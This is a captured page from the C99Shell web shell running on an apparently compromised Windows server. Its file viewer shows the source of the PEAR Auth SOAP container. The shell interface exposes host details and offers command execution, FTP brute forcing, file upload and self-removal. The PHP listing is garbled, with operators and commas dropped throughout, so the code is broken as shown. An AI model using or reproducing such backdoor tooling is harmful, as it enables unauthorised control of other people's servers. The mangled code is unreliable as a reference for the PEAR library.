!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\Auth\Container\   drwxrwxrwx
Free 4.1 GB of 39.52 GB (10.37%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SOAP.php (6.67 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker: */

/**
 * Storage driver for use against a SOAP service
 *
 * PHP versions 4 and 5
 *
 * LICENSE: This source file is subject to version 3.01 of the PHP license
 * that is available through the world-wide-web at the following URI:
 * http://www.php.net/license/3_01.txt.  If you did not receive a copy of
 * the PHP License and are unable to obtain it through the web, please
 * send a note to license@php.net so we can mail you a copy immediately.
 *
 * @category   Authentication
 * @package    Auth
 * @author     Bruno Pedro <bpedro@co.sapo.pt>
 * @author     Adam Ashley <aashley@php.net>
 * @copyright  2001-2006 The PHP Group
 * @license    http://www.php.net/license/3_01.txt  PHP License 3.01
 * @version    CVS: $Id: SOAP.php 237449 2007-06-12 03:11:27Z aashley $
 * @link       http://pear.php.net/package/Auth
 * @since      File available since Release 1.2.0
 */

/**
 * Include Auth_Container base class
 */
require_once "Auth/Container.php";
/**
 * Include PEAR package for error handling
 */
require_once "PEAR.php";
/**
 * Include PEAR SOAP_Client
 */
require_once 'SOAP/Client.php';

/**
 * Storage driver for fetching login data from SOAP
 *
 * This class takes one parameter (options), where
 * you specify the following fields: endpoint, namespace,
 * method, encoding, usernamefield and passwordfield.
 *
 * You can use specify features of your SOAP service
 * by providing its parameters in an associative manner by
 * using the '_features' array through the options parameter.
 *
 * The 'matchpassword' option should be set to false if your
 * webservice doesn't return (username,password) pairs, but
 * instead returns error when the login is invalid.
 *
 * Example usage:
 *
 * <?php
 *
 * ...
 *
 * $options = array (
 *             'endpoint' => 'http://your.soap.service/endpoint',
 *             'namespace' => 'urn:/Your/Namespace',
 *             'method' => 'get',
 *             'encoding' => 'UTF-8',
 *             'usernamefield' => 'login',
 *             'passwordfield' => 'password',
 *             'matchpasswords' => false,
 *             '_features' => array (
 *                             'example_feature' => 'example_value',
 *                             'another_example'  => ''
 *                             )
 *             );
 * $auth = new Auth('SOAP', $options, 'loginFunction');
 * $auth->start();
 *
 * ...
 *
 * ?>
 *
 * @category   Authentication
 * @package    Auth
 * @author     Bruno Pedro <bpedro@co.sapo.pt>
 * @author     Adam Ashley <aashley@php.net>
 * @copyright  2001-2006 The PHP Group
 * @license    http://www.php.net/license/3_01.txt  PHP License 3.01
 * @version    Release: @package_version@  File: $Revision: 237449 $
 * @link       http://pear.php.net/package/Auth
 * @since      Class available since Release 1.2.0
 */
class Auth_Container_SOAP extends Auth_Container
{

    
// {{{ properties

    /**
     * Required options for the class
     * @var array
     * @access private
     */
    
var $_requiredOptions = array(
            
'endpoint',
            
'namespace',
            
'method',
            
'encoding',
            
'usernamefield',
            
'passwordfield',
            );

    
/**
     * Options for the class
     * @var array
     * @access private
     */
    
var $_options = array();

    
/**
     * Optional SOAP features
     * @var array
     * @access private
     */
    
var $_features = array();

    
/**
     * The SOAP response
     * @var array
     * @access public
     */
     
var $soapResponse = array();

    
/**
     * The SOAP client
     * @var mixed
     * @access public
     */
     
var $soapClient null;

    
// }}}
    // {{{ Auth_Container_SOAP() [constructor]

    /**
     * Constructor of the container class
     *
     * @param  $options, associative array with endpoint, namespace, method,
     *                   usernamefield, passwordfield and optional features
     */
    
function Auth_Container_SOAP($options)
    {
        
$this->_options $options;
        if (!isset(
$this->_options['matchpasswords'])) {
            
$this->_options['matchpasswords'] = true;
        }
        if (!empty(
$this->_options['_features'])) {
            
$this->_features $this->_options['_features'];
            unset(
$this->_options['_features']);
        }
    }

    
// }}}
    // {{{ fetchData()

    /**
     * Fetch data from SOAP service
     *
     * Requests the SOAP service for the given username/password
     * combination.
     *
     * @param  string Username
     * @param  string Password
     * @return mixed Returns the SOAP response or false if something went wrong
     */
    
function fetchData($username$password)
    {
        
$this->log('Auth_Container_SOAP::fetchData() called.'AUTH_LOG_DEBUG);
        
// check if all required options are set
        
if (array_intersect($this->_requiredOptionsarray_keys($this->_options)) != $this->_requiredOptions) {
            return 
false;
        } else {
            
// create a SOAP client and set encoding
            
$this->soapClient = new SOAP_Client($this->_options['endpoint']);
            
$this->soapClient->setEncoding($this->_options['encoding']);
        }

        
// set the trace option if requested
        
if (isset($this->_options['trace'])) {
            
$this->soapClient->__options['trace'] = true;
        }

        
// set the timeout option if requested
        
if (isset($this->_options['timeout'])) {
            
$this->soapClient->__options['timeout'] = $this->_options['timeout'];
        }

        
// assign username and password fields
        
$usernameField = new SOAP_Value($this->_options['usernamefield'],'string'$username);
        
$passwordField = new SOAP_Value($this->_options['passwordfield'],'string'$password);
        
$SOAPParams = array($usernameField$passwordField);

        
// assign optional features
        
foreach ($this->_features as $fieldName => $fieldValue) {
            
$SOAPParams[] = new SOAP_Value($fieldName'string'$fieldValue);
        }

        
// make SOAP call
        
$this->soapResponse $this->soapClient->call(
                
$this->_options['method'],
                
$SOAPParams,
                array(
'namespace' => $this->_options['namespace'])
                );

        if (!
PEAR::isError($this->soapResponse)) {
            if (
$this->_options['matchpasswords']) {
                
// check if passwords match
                
if ($password == $this->soapResponse->{$this->_options['passwordfield']}) {
                    return 
true;
                } else {
                    return 
false;
                }
            } else {
                return 
true;
            }
        } else {
            return 
false;
        }
    }

    
// }}}

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--